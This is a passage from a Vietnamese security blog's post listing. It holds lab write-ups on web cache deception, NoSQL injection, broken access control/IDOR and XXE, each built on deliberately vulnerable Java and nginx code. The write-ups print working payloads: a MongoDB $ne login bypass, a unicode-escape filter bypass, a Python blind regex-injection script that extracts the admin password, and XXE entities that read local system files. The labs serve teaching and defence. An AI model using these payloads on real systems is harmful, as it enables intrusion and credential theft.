src=\"https://hackmd.io/_uploads/SyqcWYLTeg.png\"\u003e\u003c/p\u003e\n\u003cp\u003eSử dụng nmap với cú pháp:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo nmap -sV 192.168.179.132 -T4\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eKết quả trả về cho thấy đang có 2 port đang được mở đó là port 22 và 80 như ta đã biết port 22 là SSH còn 80 là Apache httpd thì có nghĩa là nó đang host 1 cái web nào đó.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/HkB2GtUaee.png\"\u003e\u003c/p\u003e\n\u003cp\u003eTiến hành curl đến xem thử có tồn tại không và để lấy được source code của web được host ở đây nó đưa cho ta thông tin về server và web được code bằng \u003ccode\u003ePHP/5.3.3-7+squeeze14\u003c/code\u003e.\u003c/p\u003e","title":"Pentester Lab From Sql Injection to Shell"},{"content":"Web Cache Deception Demo Lab Tổng quan Web Cache Deception Lỗ hổng \u0026ldquo;web cache deception\u0026rdquo; (đánh lừa bộ nhớ đệm web) là một dạng lỗ hổng bảo mật web, cho phép kẻ tấn công lừa hệ thống cache (bộ nhớ đệm web) lưu trữ và phục vụ lại những nội dung nhạy cảm hoặc riêng tư cho các bên không được ủy quyền. Đây là một hình thức khai thác sự khác biệt trong cách các server cache và server gốc xử lý các request—đặc biệt là về quy tắc lưu cache cho các tài nguyên động (như trang tài khoản người dùng, trang admin, v.v.).\nCách hoạt động của Web Cache Deception:\nHệ thống cache thường chỉ lưu trữ các tài nguyên tĩnh (file .css, .js, hình ảnh, v.v.) nhằm tăng tốc độ truy cập và giảm tải cho server. Với web cache deception, kẻ tấn công có thể gửi request với các phần mở rộng tên file (vd: /profile.js) hoặc thêm tham số giả mạo tới các URL vốn dĩ là nội dung động (ví dụ trang profile người dùng) có thể nói đây là fall back routing. Nếu ứng dụng web hoặc cache server xử lý sai, nó sẽ trả về nội dung động (ví dụ thông tin tài khoản) nhưng lưu nhầm vào cache. Những người dùng khác khi truy cập tới URL đó sẽ thấy được nội dung nhạy cảm đã bị cache, dù không có quyền truy cập. Source code Github\nPhân tích và POC Ở đây chỉ là demo cho lỗ hổng deception nên ta chỉ làm một cái func đăng nhập đơn giản sau đó dùng file static là /account.css để lấy được thông tin của user qua đó.\nĐầu tiên ta sẽ đăng nhập với user là alice trước.\nSau khi đăng nhập thì ta có session token của user vừa đăng nhập ở đây là alice 6324a18d.\nTới bước này thì có thể thấy user alice đã được đăng nhập, bước tiếp theo nếu là trong thực tế thì attacker sẽ làm sao để cho user bấm vào đường dẫn để dẫn đến static file nhằm đánh lừa web cache.\nVới session của alice ta tiến hành truy cập /account.css ở đây ta có thể thấy rằng trường X-Cache-Status trả về giá trị là MISS.\nVới trường cache như vậy thì bước đầu ta đã thành công trong việc đánh lừa web cache server bây giờ ta sẽ thử với trình duyệt khác không có session thử truy cập đến /account.css xem nó sẽ có gì.\nTa sẽ tạo một tab mới và để chắc chắn thì mình sẽ xoá session đi cho chắc.\nTruy cập vào /account.css ở đây ta có thể thấy rằng web cache deception đã thành công vì ở đây ta đã lấy ra được CSRF token của user alice ra sau khi user đó truy cập đến file static thì phần config lỗi của web cache đã lưu lại session của alice và từ đó tạo cơ hội cho attacker truy cập lại vào đó và lấy cắp thông tin user.\nlocation ~* \\.(?:css|js|png|jpg|gif|ico)$ { proxy_pass http://app:8080; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $remote_addr; add_header Cache-Control \u0026#34;public, max-age=600\u0026#34; always; add_header X-Cache-Status $upstream_cache_status always; add_header X-Cache-Key $scheme$host$request_uri always; proxy_cache mycache; proxy_cache_key $scheme$host$request_uri; proxy_cache_valid 200 10m; proxy_no_cache off; proxy_cache_bypass 0; Đoạn config gây ra lỗi nó nằm ở đây ở đây nginx được config để cache tất cả các đuôi tĩnh và điều đó dẫn đến khi người dùng truy cập đến file có đuôi tĩnh thì nó gây hiểu lầm cho server từ đó gây nên web cache deception.\nlocation ^~ /assets/ { try_files $uri =404; add_header Cache-Control \u0026#34;public, max-age=31536000, immutable\u0026#34;; } # Không cache đường dẫn khác location / { proxy_pass http://app:8080; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $remote_addr; } Ở đây là cách fix đúng ta sẽ chỉ cache cho mỗi allow list và không cache các đường dẫn khác ngoài nó bên cạnh đó không cache những file tĩnh không tồn tại nếu người dùng trỏ đến thì nên trả hẳn về 403 401 luôn để tránh lỗ hổng này.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-10-09-web-cache-deception/","summary":"\u003ch1 id=\"web-cache-deception-demo-lab\"\u003eWeb Cache Deception Demo Lab\u003c/h1\u003e\n\u003ch3 id=\"tổng-quan-web-cache-deception\"\u003eTổng quan Web Cache Deception\u003c/h3\u003e\n\u003cp\u003e\u003cem\u003eLỗ hổng \u0026ldquo;web cache deception\u0026rdquo; (đánh lừa bộ nhớ đệm web) là một dạng lỗ hổng bảo mật web, cho phép kẻ tấn công lừa hệ thống cache (bộ nhớ đệm web) lưu trữ và phục vụ lại những nội dung nhạy cảm hoặc riêng tư cho các bên không được ủy quyền. Đây là một hình thức khai thác sự khác biệt trong cách các server cache và server gốc xử lý các request—đặc biệt là về quy tắc lưu cache cho các tài nguyên động (như trang tài khoản người dùng, trang admin, v.v.).\u003c/em\u003e\u003c/p\u003e","title":"Web Cache Deception Demo Lab"},{"content":"NoSQL Injection Vulnerability Challenge Java Tổng quan về NoSQL Injection Tấn công NoSQL injection là một lỗ hổng bảo mật trong các ứng dụng web sử dụng cơ sở dữ liệu NoSQL. NoSQL (viết tắt của \u0026ldquo;Not Only SQL\u0026rdquo;) là các hệ thống cơ sở dữ liệu không sử dụng ngôn ngữ truy vấn có cấu trúc SQL, mà thay vào đó dùng các định dạng dữ liệu linh hoạt hơn như cặp khóa-giá trị, tài liệu (document), hoặc đồ thị dữ liệu.\nTương tự như SQL injection, NoSQL injection cho phép kẻ tấn công vượt qua xác thực, đánh cắp dữ liệu nhạy cảm, thay đổi dữ liệu trong cơ sở dữ liệu, hoặc thậm chí chiếm quyền kiểm soát cơ sở dữ liệu và máy chủ bên dưới. Phần lớn các lỗ hổng NoSQL injection xuất hiện do lập trình viên xử lý dữ liệu đầu vào từ người dùng mà không thực hiện kiểm tra hoặc làm sạch dữ liệu đúng cách.\nDo NoSQL không có một ngôn ngữ truy vấn chuẩn hóa duy nhất, các loại truy vấn được phép sẽ phụ thuộc vào:\nCông cụ cơ sở dữ liệu — ví dụ: MongoDB, Cassandra, Redis, hoặc Google Bigtable\nNgôn ngữ lập trình — ví dụ: Python, PHP\nFramework phát triển — ví dụ: Angular, Node.js\nMột điểm chung của hầu hết các cơ sở dữ liệu NoSQL là chúng hỗ trợ định dạng JSON (JavaScript Object Notation) dạng văn bản, và thường cho phép người dùng gửi dữ liệu đầu vào dưới dạng tệp JSON. Nếu dữ liệu này không được kiểm tra và làm sạch, nó có thể trở thành mục tiêu của các cuộc tấn công injection.\nSource Code Github\nTổng quan challenge Lab sẽ bao gồm 3 challenge tương ứng với 3 độ khó khác nhau:\nChallenge 1 : No Filter Challenge 2: Filter biến \u0026lsquo;$\u0026rsquo; Challenge 3: Làm thông báo không trả về (Blind NoSQL). Ở đây mình làm một chall đơn giản với chức năng chính là đăng nhập.\nString adminPassword = \u0026#34;SuperSecretPassword_\u0026#34; + UUID.randomUUID(); Ở đây Admin password sẽ được tự động gen ra random.\nuserRepository.save(new User(\u0026#34;admin\u0026#34;, adminPassword)); userRepository.save(new User(\u0026#34;user\u0026#34;, \u0026#34;password123\u0026#34;)); Ở đây mình khởi tạo 2 user chính là user và admin.\nPhần xử lý logic chính của challenge sẽ nằm trong AuthController.java nó sẽ xử lý đầy đủ logic của 3 challenges.\nKhai thác và POC Challenge 1: Đến với chall đầu tiên này thì nó đơn giản là không có lớp filter nào ở đoạn NoSQl truy vẫn đến database.\n//AuthController @PostMapping(\u0026#34;/api/challenge1/login\u0026#34;) @ResponseBody public ResponseEntity\u0026lt;String\u0026gt; challenge1(@RequestBody JsonNode payload) { try { String username = payload.get(\u0026#34;username\u0026#34;).asText(); Object password = objectMapper.convertValue(payload.get(\u0026#34;password\u0026#34;), Object.class); return performLogin(username, password); } catch (Exception e) { return ResponseEntity.status(400).body(\u0026#34;JSON payload không hợp lệ.\u0026#34;); } } //UserRespository public interface UserRepository extends MongoRepository\u0026lt;User, String\u0026gt; { @Query(\u0026#34;{\u0026#39;username\u0026#39;: ?0, \u0026#39;password\u0026#39;: ?1}\u0026#34;) Optional\u0026lt;User\u0026gt; findUserByLogin(String username, Object password); } Đây là kịch bản cơ bản nhất. Backend nhận username (dạng chuỗi) và password (dạng Object). Việc chấp nhận một Object cho trường mật khẩu là lỗ hổng chí mạng, vì nó cho phép chúng ta thay thế một giá trị chuỗi đơn giản bằng một đối tượng toán tử truy vấn của MongoDB.\nỞ đây tôi thử đăng nhập bằng mật khẩu lung tung thì được trả về 401 bây giờ ta sẽ thử với mật khẩu được generate ra xem có đăng nhập được không.\nVới password được gen ra thì hoàn toàn có thể truy cập với user admin. Vậy trong trường hợp ta không biết mật khẩu thì ta có thể khai thác NoSQL này như thế nào.\nỞ đây với challenge 1 là không có filter vậy ta sẽ sử dụng payload đơn giản là lợi dụng operator logic để khai thác ở đây mình sử dụng $ne có nghĩa là not equals.\nGiải thích Payload\nBình thường, câu truy vấn sẽ là: db.users.find({username: \u0026quot;admin\u0026quot;, password: \u0026quot;your_input\u0026quot;}) Khi bạn gửi payload trên, câu truy vấn thực tế trên server sẽ trở thành: db.users.find({username: \u0026quot;admin\u0026quot;, password: { $ne: null }}) Câu lệnh này có nghĩa là: \u0026ldquo;Hãy tìm một người dùng có username là admin và có trường password không phải là null (tức là có tồn tại mật khẩu)\u0026rdquo;. Vì tài khoản admin của chúng ta chắc chắn có mật khẩu, điều kiện này sẽ đúng và đăng nhập thành công. Vậy là ta đã thành công lợi dụng logic để có thể đăng nhập vào tài khoản admin mà không cần password.\nChallenge 2: @PostMapping(\u0026#34;/api/challenge2/login\u0026#34;) @ResponseBody public ResponseEntity\u0026lt;String\u0026gt; challenge2(HttpServletRequest request) { // Nhận vào HttpServletRequest try { String rawPayload = new String(request.getInputStream().readAllBytes(), StandardCharsets.UTF_8); if (rawPayload.contains(\u0026#34;$\u0026#34;)) { return ResponseEntity.status(400).body(\u0026#34;Payload chứa ký tự không hợp lệ ($)!\u0026#34;); } JsonNode node = objectMapper.readTree(rawPayload); String username = node.get(\u0026#34;username\u0026#34;).asText(); Object password = objectMapper.convertValue(node.get(\u0026#34;password\u0026#34;), Object.class); return performLogin(username, password); } catch (IOException e) { return ResponseEntity.status(500).body(\u0026#34;Lỗi hệ thống khi đọc request.\u0026#34;); } catch (Exception e) { return ResponseEntity.status(400).body(\u0026#34;JSON không hợp lệ.\u0026#34;); } } Đến với level 2 ta để ý rằng có dòng:\nif (rawPayload.contains(\u0026#34;$\u0026#34;)) { return ResponseEntity.status(400).body(\u0026#34;Payload chứa ký tự không hợp lệ ($)!\u0026#34;); } Đoạn code này đã chặn đi dấu $ mà ta sử dụng hầu như trong tất cả cách payload.\nNhưng nếu như ta để ý kĩ phần xử lý http request của challenge 2 thì ta có thể thấy rằng dev đã vô tình chỉ xử lý dữ liệu theo kiểu thô String rawPayload = new String(request.getInputStream().readAllBytes(), StandardCharsets.UTF_8); và không hề có bước check rằng nếu user nhập dưới dạng encode các loại thì có bị block hay không nên đây có thể là đường khai thác cho ta ở challenge này.\nỞ đây vì nó nhận raw request nên ta hoàn toàn có thể sử dụng cách đó là lợi dụng Unicode Escape để biến giá trị $ thành \\u0024.\nBây giờ với cách như vậy ta sẽ thử payload xem sao.\nVậy là ta đã thành công bypass lớp filter ở level 2 bằng unicode escape.\nChallenge 3 (Blind NoSQLi): Đến với challenge thứ 3 này ta có đoạn xử lý logic như sau:\n@PostMapping(\u0026#34;/api/challenge3/login\u0026#34;) @ResponseBody public ResponseEntity\u0026lt;String\u0026gt; challenge3(@RequestBody JsonNode payload) { try { String username = payload.get(\u0026#34;username\u0026#34;).asText(); String passwordRegex = payload.get(\u0026#34;password\u0026#34;).asText(); String anchoredRegex = \u0026#34;^\u0026#34; + passwordRegex + \u0026#34;$\u0026#34;; Query query = new Query(); query.addCriteria(Criteria.where(\u0026#34;username\u0026#34;).is(username) .and(\u0026#34;password\u0026#34;).regex(anchoredRegex)); // Dùng regex đã được neo List\u0026lt;User\u0026gt; users = mongoTemplate.find(query, User.class); if (!users.isEmpty()) { return ResponseEntity.ok(\u0026#34;Đăng nhập thành công.\u0026#34;); } else { return ResponseEntity.status(401).body(\u0026#34;Đăng nhập thất bại.\u0026#34;); } } catch (Exception e) { return ResponseEntity.status(400).body(\u0026#34;Payload không hợp lệ (password phải là string).\u0026#34;); } } private ResponseEntity\u0026lt;String\u0026gt; performLogin(String username, Object password) { Optional\u0026lt;User\u0026gt; user = userRepository.findUserByLogin(username, password); if (user.isPresent()) { return ResponseEntity.ok(\u0026#34;Đăng nhập thành công với tài khoản: \u0026#34; + user.get().getUsername()); } return ResponseEntity.status(401).body(\u0026#34;Sai tên đăng nhập hoặc mật khẩu.\u0026#34;); } Ở đây có các lớp phòng thủ là:\nString username = payload.get(\u0026#34;username\u0026#34;).asText(); String passwordRegex = payload.get(\u0026#34;password\u0026#34;).asText(); Nó sẽ ép kiểu password thành dạng string và các payload kiểu object sẽ bị block đi nên là các payload cũ sẽ không còn khả thi cho challenge này.\nTiếp theo là:\nString anchoredRegex = \u0026#34;^\u0026#34; + passwordRegex + \u0026#34;$\u0026#34;; Chúng ta lấy chuỗi regex mà người dùng gửi (passwordRegex) và tự động ghép thêm hai ký tự đặc biệt vào: ^: Ký tự neo (anchor), có nghĩa là \u0026ldquo;khớp từ đầu chuỗi\u0026rdquo;. $: Ký tự neo (anchor), có nghĩa là \u0026ldquo;khớp đến cuối chuỗi\u0026rdquo;. Tác dụng: Nếu người dùng gửi payload đơn giản là S, chuỗi regex cuối cùng sẽ là ^S$. Câu lệnh này có nghĩa là: \u0026ldquo;Tìm một mật khẩu bắt đầu bằng \u0026lsquo;S\u0026rsquo; và kết thúc ngay sau đó\u0026rdquo; (tức là mật khẩu chỉ có đúng một ký tự là \u0026lsquo;S\u0026rsquo;). Điều này sẽ thất bại. Nó ngăn chặn hoàn toàn các kiểu tấn công \u0026ldquo;chứa\u0026rdquo; (contains) mà chúng ta đã gặp ở phiên bản lỗi trước. Nó bắt buộc attacker phải xây dựng một regex phức tạp hơn, có thể khớp với toàn bộ mật khẩu, nếu muốn nhận được phản hồi \u0026ldquo;thành công\u0026rdquo;. Query query = new Query(); query.addCriteria(Criteria.where(\u0026#34;username\u0026#34;).is(username) .and(\u0026#34;password\u0026#34;).regex(anchoredRegex)); List\u0026lt;User\u0026gt; users = mongoTemplate.find(query, User.class); MongoTemplate là một công cụ của Spring giúp xây dựng các câu truy vấn MongoDB một cách linh hoạt. Lệnh Criteria.where(\u0026ldquo;password\u0026rdquo;).regex(anchoredRegex) chính là nơi lỗ hổng tồn tại. Nó nói với MongoDB: \u0026ldquo;Hãy tìm trong trường password, những document nào khớp với biểu thức chính quy chứa trong biến anchoredRegex\u0026rdquo;. Với các phân tích về code của challenge 3 trên thì ta có kịch bản tấn công là lợi dụng regex để khai thác NoSQL. Vì ở đây developer tuy đã sử dụng regex để phòng thủ nhưng lại không chú ý đến việc escape các regex mà người dùng có thể nhập vào bên trong dẫn đến attacker có thể lợi dụng chính các regex đó để tạo ra payload. Kỹ thuật này gọi là Regex Injection.\nThử với payload ở level trước nhưng nhận được 401 bây giờ ta sẽ tiến hành thử với regex injection.\nTrước hết ta sẽ thử xài regex để dò độ dài của password.\nVới độ dài là 30 thì ta nhận kết quả trả về ở đây ta cho nó là false tại đây ta có thể sử dụng burp intruder để xác định được độ dài của chuỗi password.\nTa sẽ test thử từ 1 đến 100 xem sao.\nVới số 56 ta nhận về được response 200 duy nhất nên có thể xác định password có 56 kí tự.\nTừ đây ta sẽ tiến hành tìm từng kí tự của password với giới hạn là 56 kí tự.\nVới regex A.{55} này thì nó có nghĩa là kí tự đầu sẽ là A và 55 kí tự còn lại là bất cứ thứ gì nhưng có vẻ với kí tự đầu tiên là A đã sai vì server trả về response là 401.\nTiến hành thử với chữ S thì ta đã thành công trong việc dump ra được kí tự đầu tiên của password vì server đã trả về response là 200 cho payload S.{55}.\nNếu test tay với password có độ dài khủng như này thì sẽ rất là mất thời gian dò nên ta hoàn toàn có thể lợi dụng python script để có thể dump password một cách nhanh chóng.\nimport requests import string url = \u0026#34;http://localhost:8080/api/challenge3/login\u0026#34; password_length = 56 known_password = \u0026#34;\u0026#34; charset = string.ascii_letters + string.digits + \u0026#34;_-\u0026#34; # Bộ ký tự để đoán # Vòng lặp để tìm từng ký tự của mật khẩu for i in range(password_length): # Vòng lặp để thử từng ký tự trong bộ ký tự for char in charset: guess = known_password + char payload_regex = guess + \u0026#34;.*\u0026#34; json_data = {\u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;password\u0026#34;: payload_regex} response = requests.post(url, json=json_data) if response.status_code == 200: known_password = guess print(f\u0026#34;Tìm thấy ký tự tiếp theo: {known_password}\u0026#34;) break print(f\u0026#34;\\nKhai thác hoàn tất! Mật khẩu là: {known_password}\u0026#34;) Thành công dump ra password bây giờ ta sẽ thử đăng nhập xem liệu password này có đúng hay không.\nĐăng nhập thành công với password trên vậy nên ta đã khai thác thành công Blind NoSQLi bằng kĩ thuật Regex Injection.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-10-06-nosql-injection-lab/","summary":"\u003ch1 id=\"nosql-injection-vulnerability-challenge-java\"\u003eNoSQL Injection Vulnerability Challenge Java\u003c/h1\u003e\n\u003ch3 id=\"tổng-quan-về-nosql-injection\"\u003eTổng quan về NoSQL Injection\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eTấn công NoSQL injection là một lỗ hổng bảo mật trong các ứng dụng web sử dụng cơ sở dữ liệu NoSQL. NoSQL (viết tắt của \u0026ldquo;Not Only SQL\u0026rdquo;) là các hệ thống cơ sở dữ liệu không sử dụng ngôn ngữ truy vấn có cấu trúc SQL, mà thay vào đó dùng các định dạng dữ liệu linh hoạt hơn như cặp khóa-giá trị, tài liệu (document), hoặc đồ thị dữ liệu.\u003c/p\u003e","title":"NoSQL Injection Vulnerability Challenge Java"},{"content":"Broken Access Control Vulnerability Lab What is Broken Access Control (BAC) Broken Access Control là một loại lỗ hổng bảo mật web xảy ra khi người dùng có thể truy cập vào các tài nguyên hoặc thực hiện các hành động vượt quá quyền hạn cho phép của họ. Đây là một trong những rủi ro bảo mật nghiêm trọng nhất đối với các ứng dụng web, theo danh sách của OWASP Top 10.\nSource Code Github\nLab Overview Với BAC mình làm một lab đơn giản để demo 2 lỗ hổng bao gồm:\nLỗ hổng 1: Truy Cập Trái Phép Đối Tượng Trực Tiếp (Insecure Direct Object Reference - IDOR)\nLỗ hổng 2: Thiếu Kiểm Soát Truy Cập Cấp Chức Năng (Missing Function-Level Access Control)\nỞ level này tôi để 2 user là 1 user admin và 1 user thường.\nTiến hành phân tích các lỗ hổng và POC Level 1: @GetMapping(\u0026#34;/profile/{id}\u0026#34;) public String userProfile(@PathVariable Long id, Model model) { model.addAttribute(\u0026#34;user\u0026#34;, userRepository.findById(id).orElse(null)); return \u0026#34;profile\u0026#34;; } Phân tích Sink : Source: Là biến id trong đường dẫn @GetMapping(\u0026quot;/profile/{id}\u0026quot;). Giá trị này hoàn toàn do người dùng kiểm soát qua URL trên trình duyệt.\nEndpoint: Là phương thức userRepository.findById(id). Đây là một hàm nhạy cảm vì nó truy xuất dữ liệu trực tiếp từ cơ sở dữ liệu.\nLỗ hổng: Dữ liệu từ \u0026ldquo;Source\u0026rdquo; (biến id) được truyền thẳng vào \u0026ldquo;Sink\u0026rdquo; (findById) mà không có bất kỳ bước kiểm tra quyền hạn nào. Chương trình không hề đặt câu hỏi: \u0026ldquo;Người dùng đang đăng nhập có được phép xem profile với id này không?\u0026rdquo;. Nó chỉ đơn giản là nhận lệnh và thực thi.\nỞ đây biến id được truyền thẳng vào sink nên ta hoàn toàn có thể thay đổi id từ id user thường lên user admin.\nĐăng nhập vào user alice với username là alice và password là password sau khi click vào user profile id là alice hiện các thông tin của user alice.\nNhưng ở đây khi truy vấn biến id thì không có một lớp xử lý nào nên ta hoàn toàn có thể thực thi IDOR, bây giờ ta sẽ tiến hành thử thay đổi biến id ở trên url.\nhttp://localhost:8080/profile/1 ở đây với id là 1 profile hiển thị lên là của user alice.\nBây giờ tiến hành thay đổi id từ 1 thành 2 để xem liệu có view được user khác ngoài alice không.\nhttp://localhost:8080/profile/2 sau khi thay đổi thì user profile đã hiển thị của user id là 2 là admin nên có thể kết luận đây là lỗ hổng IDOR cho phép ta xem được profile của người khác dù không có quyền truy cập.\nLevel 2: public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { http .authorizeHttpRequests(authz -\u0026gt; authz .requestMatchers(\u0026#34;/\u0026#34;, \u0026#34;/login\u0026#34;).permitAll() .anyRequest().authenticated() ) .formLogin(form -\u0026gt; form .loginPage(\u0026#34;/login\u0026#34;) .defaultSuccessUrl(\u0026#34;/\u0026#34;, true) .permitAll() ) .logout(logout -\u0026gt; logout // URL sẽ chuyển đến sau khi đăng xuất .logoutSuccessUrl(\u0026#34;/\u0026#34;) .permitAll() ); return http.build(); } @GetMapping(\u0026#34;/admin\u0026#34;) public String adminPage(Model model) { model.addAttribute(\u0026#34;users\u0026#34;, userRepository.findAll()); return \u0026#34;admin\u0026#34;; } Phân Tích \u0026ldquo;Sink\u0026rdquo; Source: Là yêu cầu của người dùng truy cập vào một đường dẫn bất kỳ, ví dụ GET /admin.\nEndpoin: Là phương thức adminPage() trong WebController, nơi thực thi chức năng quản trị (lấy tất cả user: userRepository.findAll()).\nLỗ hổng: Cấu hình SecurityConfig không định nghĩa các quy tắc truy cập dựa trên vai trò (role-based access control) cho đường dẫn /admin. Quy tắc .anyRequest().authenticated() chỉ kiểm tra xem người dùng đã đăng nhập hay chưa, chứ không kiểm tra xem họ có phải là ADMIN hay không. Cánh cổng vào khu vực admin đã được để ngỏ cho bất kỳ ai có chìa khóa (đã đăng nhập).\nỞ đây có thể thấy rằng trong config không hề có định nghĩa các role nó chỉ kiểm tra xem user đã đăng nhập hay chưa chứ không hề kiểm tra xem user có phải là admin hay không.\nỞ đây mình vẫn đang sử dụng user là alice là user thường với role là USER vậy liệu ta có thể truy cập được admin panel bằng endpoint /admin hay không? Bây giờ tiến hành thay đổi thêm phần endpoint /admin vào url.\nThành công truy cập được admin panel bằng cách sử dụng url ![image](https://hackmd.io/_uploads/ryKOB-Fnle.png) thành công lợi dụng BAC để truy cập trái phép chức năng của admin.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-30-brokenaccess-control/","summary":"\u003ch1 id=\"broken-access-control-vulnerability-lab\"\u003eBroken Access Control Vulnerability Lab\u003c/h1\u003e\n\u003ch3 id=\"what-is-broken-access-control-bac\"\u003eWhat is Broken Access Control (BAC)\u003c/h3\u003e\n\u003cp\u003eBroken Access Control là một loại lỗ hổng bảo mật web xảy ra khi người dùng có thể truy cập vào các tài nguyên hoặc thực hiện các hành động vượt quá quyền hạn cho phép của họ. Đây là một trong những rủi ro bảo mật nghiêm trọng nhất đối với các ứng dụng web, theo danh sách của OWASP Top 10.\u003c/p\u003e","title":"Broken Access Control Vulnerability Lab"},{"content":"XXE Injection Vulnerability Lab XXE Injection là gì? XXE (XML External Entity) Injection là một lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào quá trình một ứng dụng xử lý dữ liệu XML. Lỗ hổng này xảy ra khi một trình phân tích (parser) XML được cấu hình yếu xử lý các thực thể bên ngoài (external entities) do người dùng cung cấp trong tài liệu XML.\nKhai thác thành công lỗ hổng XXE có thể dẫn đến nhiều hậu quả nghiêm trọng, bao gồm:\nĐọc file tùy ý: Kẻ tấn công có thể đọc các file nhạy cảm trên hệ thống file của máy chủ, chẳng hạn như file cấu hình, mã nguồn, hoặc các file chứa thông tin người dùng (/etc/passwd). Giả mạo yêu cầu phía máy chủ (SSRF - Server-Side Request Forgery): Buộc ứng dụng phải thực hiện các yêu cầu đến các hệ thống khác mà nó có thể truy cập, kể cả các hệ thống trong mạng nội bộ. Tấn công từ chối dịch vụ (DoS - Denial of Service): Gây cạn kiệt tài nguyên của máy chủ, làm cho ứng dụng ngừng hoạt động (ví dụ: tấn công \u0026ldquo;Billion Laughs\u0026rdquo;). Thực thi mã từ xa (RCE - Remote Code Execution): Trong một số trường hợp hiếm hoi, XXE có thể dẫn đến việc thực thi mã lệnh từ xa trên máy chủ. Overview Với XXE thì mình tạo thẳng một giao diện để gửi thẳng payload vào và server sẽ trả thẳng kết quả của payload về vì ở đây với XXE theo các bài mình đã làm thì hầu như API nó đều hiện rõ phần nơi để mình inject nên mình sẽ là một api thẳng như này luôn.\nChỉ có khác ở level 7 ta sẽ làm chức năng upload file để có thể XXE bằng SVG qua File Upload.\nLab này xử lý logic chính ở file XmlParserService.java với 7 levels với 7 độ khó tăng dần với các lớp filter khác nhau.\nSource Code GitHub\nKhai thác từng level và POC Level 1: public String parseLevel1(String xml) { try { Document doc = createVulnerableBuilder().parse(new InputSource(new StringReader(xml))); return \u0026#34;Parsed XML content: \u0026#34; + doc.getDocumentElement().getTextContent(); } catch (Exception e) { return \u0026#34;Error: \u0026#34; + e.getMessage(); } } Ở level đầu tiên này nó sẽ chỉ là chức năng parser XML và return kết quả về với level này ta thấy sẽ không hề có lớp filter nào cả.\nTa sẽ test thử payload:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE data [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///c:/windows/system32/drivers/etc/hosts\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;data\u0026gt;\u0026amp;xxe;\u0026lt;/data\u0026gt; \u0026lt;?xml version=\u0026quot;1.0\u0026quot;?\u0026gt;: Khai báo phiên bản XML.\n\u0026lt;!DOCTYPE data [...]\u0026gt;: Khai báo DTD (Document Type Definition), cho phép định nghĩa các thực thể (entities).\n\u0026lt;!ENTITY xxe SYSTEM \u0026quot;file:///...\u0026quot;\u0026gt;: Định nghĩa một thực thể bên ngoài (external entity) tên là xxe, trỏ đến file hệ thống hosts trên Windows.\n\u0026lt;data\u0026gt;\u0026amp;xxe;\u0026lt;/data\u0026gt;: Gọi thực thể xxe, khiến trình phân tích XML cố gắng đọc nội dung file hosts và chèn vào vị trí này.\nThành công đọc được file hosts bằng cách gọi System với file protocol.\nLevel 2: public String parseLevel2(String xml) { if (xml.toLowerCase().contains(\u0026#34;system\u0026#34;) || xml.toLowerCase().contains(\u0026#34;file://\u0026#34;)) { return \u0026#34;Malicious input detected by filter!\u0026#34;; } return parseLevel1(xml); } Đến với level 2 có thể thấy bây giờ đã có lớp filter file protocol lại cùng với đó ta cũng sẽ không thể gọi system được nữa nếu trong câu XML có 2 cái trên sẽ bị trả về Malicious input detected by filter!.\nỞ đây thì payload level 1 đã không còn tác dụng nữa nên ta sẽ tìm hướng đi khác.\nSau khi tìm hiểu thì ta hoàn toàn có thể sử dụng cách tạo external dtd để bypass được lớp filter kia.\nTạo file evil_v2.dtd với nội dung:\n\u0026lt;!ENTITY x SYSTEM \u0026#34;file:///C:/Windows/win.ini\u0026#34;\u0026gt; Tiến hành host nó lên localhost với port là 8000.\nSau đó ta tiến hành truyền payload vào:\n\u0026lt;!DOCTYPE foo PUBLIC \u0026#34;X\u0026#34; \u0026#34;http://localhost:8000/evil_v2.dtd\u0026#34;\u0026gt; \u0026lt;foo\u0026gt;\u0026amp;x;\u0026lt;/foo\u0026gt; Ở đây ta dùng PUBLIC cùng với đó là biến X khi truyền vào nó sẽ gọi file trong localhost mà mình đã tạo sẵn payload và truyền xml vào.\nThành công khai thác ở level này.\nLevel 3: public String parseLevel3(String xml) { if (xml.toLowerCase().contains(\u0026#34;\u0026lt;!doctype\u0026#34;)) { return \u0026#34;Malicious DTD detected by filter!\u0026#34;; } return parseLevel1(xml); } Ở level 3 này có thể thấy cụm \u0026lt;!doctype đã bị filter lại làm cho việc khai thác trở nên không thể.\nLevel 3 hiện TẮT khả năng XXE chỉ bằng một filter duy nhất vào chuỗi “\u0026lt;!doctype”. Chuẩn XML không cho viết DOCTYPE “biến tấu” hợp lệ mà không chứa chuỗi này → Không có DTD → Không khai báo entity → Không XXE đọc file. Không có cơ chế phụ nào (XInclude/schema/XSLT) để pivot. =\u0026gt; Không còn vector XXE thực tế nào.\nNên đây là một level gọi là secure vì không có doctype thì hầu như không payload nào XXE còn hoạt động được nữa.\nLevel 4: public String parseLevel4(String xml) { try { Document doc = createSecureBuilder().parse(new InputSource(new StringReader(xml))); return \u0026#34;Parsed XML content (securely): \u0026#34; + doc.getDocumentElement().getTextContent(); } catch (Exception e) { return \u0026#34;Error: \u0026#34; + e.getMessage(); } } Ở đây ta gọi đến hàm createSecureBuilder():\nprivate DocumentBuilder createSecureBuilder() throws ParserConfigurationException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature(\u0026#34;http://apache.org/xml/features/disallow-doctype-decl\u0026#34;, true); dbf.setFeature(\u0026#34;http://xml.org/sax/features/external-general-entities\u0026#34;, false); 